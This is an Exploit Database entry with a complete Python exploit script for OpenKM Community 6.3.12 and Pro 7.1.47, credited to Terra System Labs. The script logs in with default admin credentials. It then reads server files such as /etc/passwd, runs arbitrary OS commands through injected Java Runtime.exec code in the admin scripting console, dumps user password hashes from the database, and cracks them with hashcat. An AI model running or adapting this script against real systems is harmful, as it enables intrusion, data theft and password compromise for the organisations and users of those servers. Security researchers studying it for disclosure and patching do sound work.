OpenKM 6.3.12 - Multiple

EDB-ID:

52520

CVE:

N/A


Author:

skumar

Type:

webapps


Platform:

Multiple

Date:

2026-04-29


# Exploit Title: OpenKM Multiple Critical Zero-Day
# Date: 17 Jan 2026
# Exploit Author: Terra System Labs Pvt. Ltd.
# Vendor Homepage: https://www.openkm.com/
# Software Link: https://hub.docker.com/r/openkm/openkm-ce
# Version: OpenKM Community Edition 6.3.12 and OpenKM Pro Edition 7.1.47 and previous versions
# Tested on: Windows and Linux Docker
# CVE : N/A

import requests
import argparse
import os
import subprocess
from importlib import import_module
import re
import signal
import sys
import getpass

print("Research Conducted By: Terra System Labs Research Team")
print("Read Full Article: https://terrasystemlabs.com/post?slug=openkm-zero-day-vulnerabilities-terra-system-labs")

# Ensure all required libraries are installed and re-import missing ones
def check_and_install_libraries():
    required_libraries = ["requests", "bs4", "prettytable", "termcolor"]
    for lib in required_libraries:
        try:
            import_module(lib)
        except ImportError:
            print(f"Library {lib} not found. Installing...")
            subprocess.check_call([
    sys.executable, "-m", "pip", "install", lib, "--break-system-packages"
])
            print(f"Library {lib} installed successfully.")

check_and_install_libraries()

from bs4 import BeautifulSoup
from prettytable import PrettyTable

try:
    from termcolor import colored
    use_colored_output = True
except ImportError:
    use_colored_output = False

# Utility function for colored output
def print_colored(message, color):
    if use_colored_output:
        print(colored(message, color))
    else:
        print(message)

# Global session to persist cookies and authentication
session = requests.Session()

def signal_handler(sig, frame):
    print_colored("\nDetected CTRL+C. Logging out...", "red")
    if "base_url" in globals():
        logout(base_url, proxies, verify_ssl)
    sys.exit(0)

signal.signal(signal.SIGINT, signal_handler)



def check_version(base_url, proxies, verify_ssl):
    print_colored("Checking OpenKM version...", "cyan")
    version_url = f"{base_url}/frontend/Workspace"
    headers = {
        "User-Agent": "Mozilla/5.0",
        "Accept": "*/*",
        "Content-Type": "text/x-gwt-rpc; charset=utf-8",
        "X-GWT-Permutation": "57C4A26D31617E3BF3460E4771D72FCC",
        "X-GWT-Module-Base": f"{base_url}/frontend/",
        "Origin": base_url,
        "Referer": f"{base_url}/frontend/index.jsp",
    }

    payload = (
        f"7|0|4|{base_url}/frontend/|42DC97C6A4E30E734F8CCD1FE2250214|"
        "com.openkm.frontend.client.service.OKMWorkspaceService|getUserWorkspace|1|2|3|4|0|"
    )

    response = session.post(version_url, headers=headers, data=payload, proxies=proxies, verify=verify_ssl)

    if response.status_code == 200 and response.text.startswith("//OK"):
        try:
            strings = re.findall(r'"([^"]+)"', response.text)
            idx = strings.index("com.openkm.frontend.client.bean.GWTAppVersion/1901889346")
            build = strings[idx + 1]
            release_type = strings[idx + 2]
            ver_major = strings[idx + 3]
            ver_minor = strings[idx + 4]
            ver_patch = strings[idx + 5]
            print_colored(f"OpenKM Version: {ver_minor}.{ver_patch}.{ver_major} (build: {build}, type: {release_type})", "green")
        except Exception as e:
            print_colored(f"Failed to parse version: {e}", "red")
    else:
        print_colored("Failed to fetch version information.", "red")



# Function to handle login
def login(base_url, username, password):
    login_url = f"{base_url}/login.jsp"
    login_payload = {
        "j_username": username,
        "j_password": password,
        "j_language": "en-GB",
        "submit": ""
    }
    login_post_url = f"{base_url}/j_spring_security_check"
    response = session.post(login_post_url, data=login_payload, proxies=proxies, verify=verify_ssl)
    if "error" in response.url:
        print_colored("Login failed. Check credentials.", "red")
        return False
    print_colored("Login successful using default credentials or provided oen, if any.", "green")
    check_version(base_url, proxies, verify_ssl)
    return True


# Function for Local File Inclusion (LFI)
def lfi(base_url, read_file, proxies, verify_ssl):
    csrf_page_url = f"{base_url}/admin/Scripting"
    csrf_response = session.get(csrf_page_url, proxies=proxies, verify=verify_ssl)
    csrf_token = None
    if csrf_response.status_code == 200:
        soup = BeautifulSoup(csrf_response.text, "html.parser")
        csrf_input = soup.find("input", {"name": "csrft"})
        if csrf_input:
            csrf_token = csrf_input["value"]
    if not csrf_token:
        print_colored("Failed to fetch CSRF token.", "red")
        return

    script_payload = {
        "csrft": csrf_token,
        "script": "",
        "fsPath": read_file,
        "action": "Load"
    }
    script_post_url = f"{base_url}/admin/Scripting"
    response = session.post(script_post_url, data=script_payload, proxies=proxies, verify=verify_ssl)
    if response.status_code == 200:
        soup = BeautifulSoup(response.text, "html.parser")
        textarea = soup.find("textarea", {"id": "script"})
        if textarea:
            print_colored("LFI Successful. Extracted Content:", "green")
            print(textarea.text.strip())
        else:
            print_colored("Content not found.", "red")
    else:
        print_colored("LFI exploit failed.", "red")

# Function for Remote Code Execution (RCE)
def rce(base_url, command, proxies, verify_ssl):
    csrf_page_url = f"{base_url}/admin/Scripting"
    csrf_response = session.get(csrf_page_url, proxies=proxies, verify=verify_ssl)
    csrf_token = None
    if csrf_response.status_code == 200:
        soup = BeautifulSoup(csrf_response.text, "html.parser")
        csrf_input = soup.find("input", {"name": "csrft"})
        if csrf_input:
            csrf_token = csrf_input["value"]
    if not csrf_token:
        print_colored("Failed to fetch CSRF token.", "red")
        return

    exploit_payload = f"""
    try {{
        Process process = Runtime.getRuntime().exec("{command}");
        BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
        String output = reader.readLine();
        print("Result: " + output);
    }} catch (IOException e) {{
        print("Error: " + e.getMessage());
    }}
    """
    script_payload = {
        "csrft": csrf_token,
        "script": exploit_payload,
        "fsPath": "",
        "action": "Evaluate"
    }
    script_post_url = f"{base_url}/admin/Scripting"
    response = session.post(script_post_url, data=script_payload, proxies=proxies, verify=verify_ssl)
    if response.status_code == 200:
        match = re.search(r"Result:\s*(\w+)", response.text)
        if match:
            print_colored("RCE Successful. Result:", "green")
            print(match.group(1))
        else:
            print_colored("RCE failed to return a result.", "red")

#Function for crack hash
def crack_password():
# Extract hashes from hashes.txt and save to md5_hashes.txt
    def extract_hashes_to_file():
        try:
            with open("hashes.txt", "r") as file:
                hashes_data = file.readlines()
            # Extract only the hashes (after the colon)
            hashes_only = [line.split(":")[1].strip() for line in hashes_data]
            # Write the hashes to md5_hashes.txt
            with open("md5_hashes.txt", "w") as file:
                file.write("\n".join(hashes_only))
            print("Hashes successfully extracted to md5_hashes.txt")
        except FileNotFoundError:
            print("Error: hashes.txt file not found. Please ensure the file exists in the current directory.")

    # Combine usernames with cracked passwords
    def combine_passwords():
        try:
            # Load usernames and hashes from hashes.txt
            with open("hashes.txt", "r") as file:
                hashes_data = file.readlines()
            
            # Load cracked hashes and passwords from cracked_hashes.txt
            with open("cracked_hashes.txt", "r") as file:
                cracked_data = file.readlines()
            
            # Parse data into dictionaries
            hashes_dict = {line.split(":")[0]: line.split(":")[1].strip() for line in hashes_data}
            cracked_dict = {line.split(":")[0]: line.split(":")[1].strip() for line in cracked_data}
            
            # Match and combine data into final_cracked.txt
            final_cracked = ["Username:Passwords\n"]  # Add header
            for username, hash_value in hashes_dict.items():
                if hash_value in cracked_dict:
                    password = cracked_dict[hash_value]
                    final_cracked.append(f"{username}:{password}\n")
            
            # Save the results to final_cracked.txt
            final_cracked_path = os.path.abspath("final_cracked.txt")
            with open(final_cracked_path, "w") as file:
                file.writelines(final_cracked)
            print_colored("Final cracked usernames and passwords saved to final_cracked.txt", "green")

            # Confirm with the user before displaying passwords
            show_passwords = input("Do you want to display the cracked passwords (default N) Y/N: ").strip().lower()
            if show_passwords == 'y':
                print("{:<20} {:<20}".format("Username", "Password"))
                print("-" * 40)
                for line in final_cracked[1:]:  # Skip header
                    username, password = line.strip().split(":")
                    print("{:<20} {:<20}".format(username, password))
                    exit(0)
            else:
                print("Passwords are hidden as per your choice. Read the Saved file to display the passwords in plaintext")

        except FileNotFoundError:
            print("Error: Ensure both hashes.txt and cracked_hashes.txt are present in the current directory.")

    # Main script
    if __name__ == "__main__":
        # Step 1: Extract hashes to md5_hashes.txt
        extract_hashes_to_file()

        # Step 2: Prompt user for the wordlist path and use default if not provided
        wordlist_path = input("Enter the path to your wordlist (Press Enter to use default: /usr/share/wordlists/rockyou.txt): ").strip()
        if not wordlist_path:
            wordlist_path = "/usr/share/wordlists/rockyou.txt"

        import os
        # Run hashcat commands
        print("Running hashcat...")
        os.system(f"hashcat -m 0 -a 0 md5_hashes.txt {wordlist_path} --quiet")
        os.system(f"hashcat -m 0 -a 0 md5_hashes.txt {wordlist_path} --show > cracked_hashes.txt")

        # Step 3: Combine usernames with cracked passwords
        combine_passwords()



# Function for SQL Injection (SQLi)
def sqli(base_url, proxies, verify_ssl):
    print_colored("Running Unrestricted SQL Query...", "magenta")
    query_url = f"{base_url}/admin/DatabaseQuery"
    multipart_form_data = (
        "-----------------------------88617175833200583821560840739\r\n"
        "Content-Disposition: form-data; name=\"qs\"\r\n\r\n"
        "SELECT * FROM OKM_USER;\r\n"
        "-----------------------------88617175833200583821560840739\r\n"
        "Content-Disposition: form-data; name=\"tables\"\r\n\r\n"
        "OKM_USER\r\n"
        "-----------------------------88617175833200583821560840739\r\n"
        "Content-Disposition: form-data; name=\"vtables\"\r\n\r\n\r\n"
        "-----------------------------88617175833200583821560840739\r\n"
        "Content-Disposition: form-data; name=\"type\"\r\n\r\n"
        "jdbc\r\n"
        "-----------------------------88617175833200583821560840739--"
    )
    headers = {
        "Content-Type": "multipart/form-data; boundary=---------------------------88617175833200583821560840739",
    }
    response = session.post(query_url, data=multipart_form_data, headers=headers, proxies=proxies, verify=verify_ssl)
    if response.status_code == 200:
        soup = BeautifulSoup(response.text, 'html.parser')
        table = soup.find('table', class_='results-old')
        if table:
            print_colored("SQL Injection Successful. Results:", "green")
            rows = table.find_all('tr')
            table_data = PrettyTable()
            headers = [header.text.strip() for header in rows[0].find_all('th')]
            table_data.field_names = headers
            with open("hashes.txt", "w") as file:
                for row in rows[1:]:
                    columns = row.find_all(['td', 'th'])
                    # Ensure all columns are filled, replacing missing values with 'N/A' and matching headers
                    row_data = [col.text.strip() if col.text.strip() else 'N/A' for col in columns[:len(headers)]]
                    if len(row_data) == len(headers):
                        table_data.add_row(row_data)
                        # Write USR_ID and USR_PASSWORD to the file
                        usr_id = row_data[headers.index("USR_ID")]
                        usr_password = row_data[headers.index("USR_PASSWORD")]
                        file.write(f"{usr_id}:{usr_password}\n")

            print(table_data)
            #current_directory = os.getcwd()
            print_colored("hashes.txt created in the current directory", "green")

            crack_hash = input("Do you want to crack user's password in plain text (default N) Y/N: ").strip()
            if crack_hash in ['y', 'Y']:
               crack_password()
            else:
                print("Skipping password cracking...")
                exit()

        else:
            print_colored("No results found.", "red")
    else:
        print_colored("SQL Injection failed.", "red")

# Function for logout
def logout(base_url, proxies, verify_ssl):
    print_colored("Logging out...", "green")
    logout_url = f"{base_url}/frontend/Auth"
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0",
        "Accept": "*/*",
        "Accept-Language": "en-US,en;q=0.5",
        "Accept-Encoding": "gzip, deflate, br",
        "Content-Type": "text/x-gwt-rpc; charset=utf-8",
        "X-GWT-Permutation": "57C4A26D31617E3BF3460E4771D72FCC",
        "X-GWT-Module-Base": f"{base_url}/frontend/",
        "Origin": base_url
    }
    logout_payload = "7|0|4|http://"+base_url+"/OpenKM/frontend/|62DBFE1B3CAA52AD46EA20F866574A5F|com.openkm.frontend.client.service.OKMAuthService|logout|1|2|3|4|0|"
    response = session.post(logout_url, headers=headers, data=logout_payload, proxies=proxies, verify=verify_ssl)
    if response.status_code == 200 and "//OK" in response.text:
        print_colored("Logged out successfully.", "green")
    else:
        print_colored("Logout failed.", "red")

# Main function
def main():
    global base_url, proxies, verify_ssl

    parser = argparse.ArgumentParser(description="Unified Vulnerability Testing Tool")
    parser.add_argument("--url", required=True, help="Base URL of the target application")
    parser.add_argument("--run", help="Run specific tests: (A=All, L=LFI, R=RCE, S=SQL)")
    parser.add_argument("--proxy", help="Proxy URL in the format http://IP:PORT")
    parser.add_argument("--login", help="Credentials in the format username:password")
    args = parser.parse_args()

    help1 = args.run
    if help1 in ["-h", "--help"]:
        print_colored("Run python3 openkm-scanner.py --url http://host:port")

    base_url = args.url[:-1] if args.url.endswith('/') else args.url
    if not base_url.endswith("/OpenKM"):
        base_url += "/OpenKM"

    proxies = {"http": args.proxy, "https": args.proxy} if args.proxy else None
    verify_ssl = False
    
    if args.login:
        try:
            username, password = args.login.split(":", 1)
        except ValueError:
            print_colored("Invalid format for --login. Use username:password", "red")
            return
    else:
        username = "okmAdmin"
        password = "admin"
    if not login(base_url, username, password):
        return


    # if args.login:
    #     print("Username Received",  login)
    #     try:
    #         username, password = args.login.split(":", 1)
    #     except ValueError:
    #         print_colored("Invalid format for --login. Use username:password", "red")
    #     return
    # else:
    #     username = "okmAdmin"
    #     password = "admin"
    # if not login(base_url, username, password):
    #     return

    run_tests = args.run
    if not run_tests:
        run_tests = input("Enter tests to run (A=All, L=LFI, R=RCE, S=SQL): ").upper()

    if run_tests in ['A', 'a']:
        print_colored("Running LFI attack...", "magenta")
        read_file = input("Enter file path for LFI (default: /etc/passwd): ") or "/etc/passwd"
        lfi(base_url, read_file, proxies, verify_ssl)
        print_colored("Running RCE attack...", "magenta")
        command = input("Enter command for RCE (default: whoami): ") or "whoami"
        rce(base_url, command, proxies, verify_ssl)
        sqli(base_url, proxies, verify_ssl)
        crack_password()
        exit()

    if run_tests in ['L', 'l']:
        print_colored("Running LFI attack...", "magenta")
        read_file = input("Enter file path for LFI (default: /etc/passwd): ") or "/etc/passwd"
        lfi(base_url, read_file, proxies, verify_ssl)

    if run_tests in ['R', 'r']:
        print_colored("Running RCE attack...", "magenta")
        command = input("Enter command for RCE (default: whoami): ") or "whoami"
        rce(base_url, command, proxies, verify_ssl)

    if run_tests in ['S', 's']:
        sqli(base_url, proxies, verify_ssl)

if __name__ == "__main__":
    main()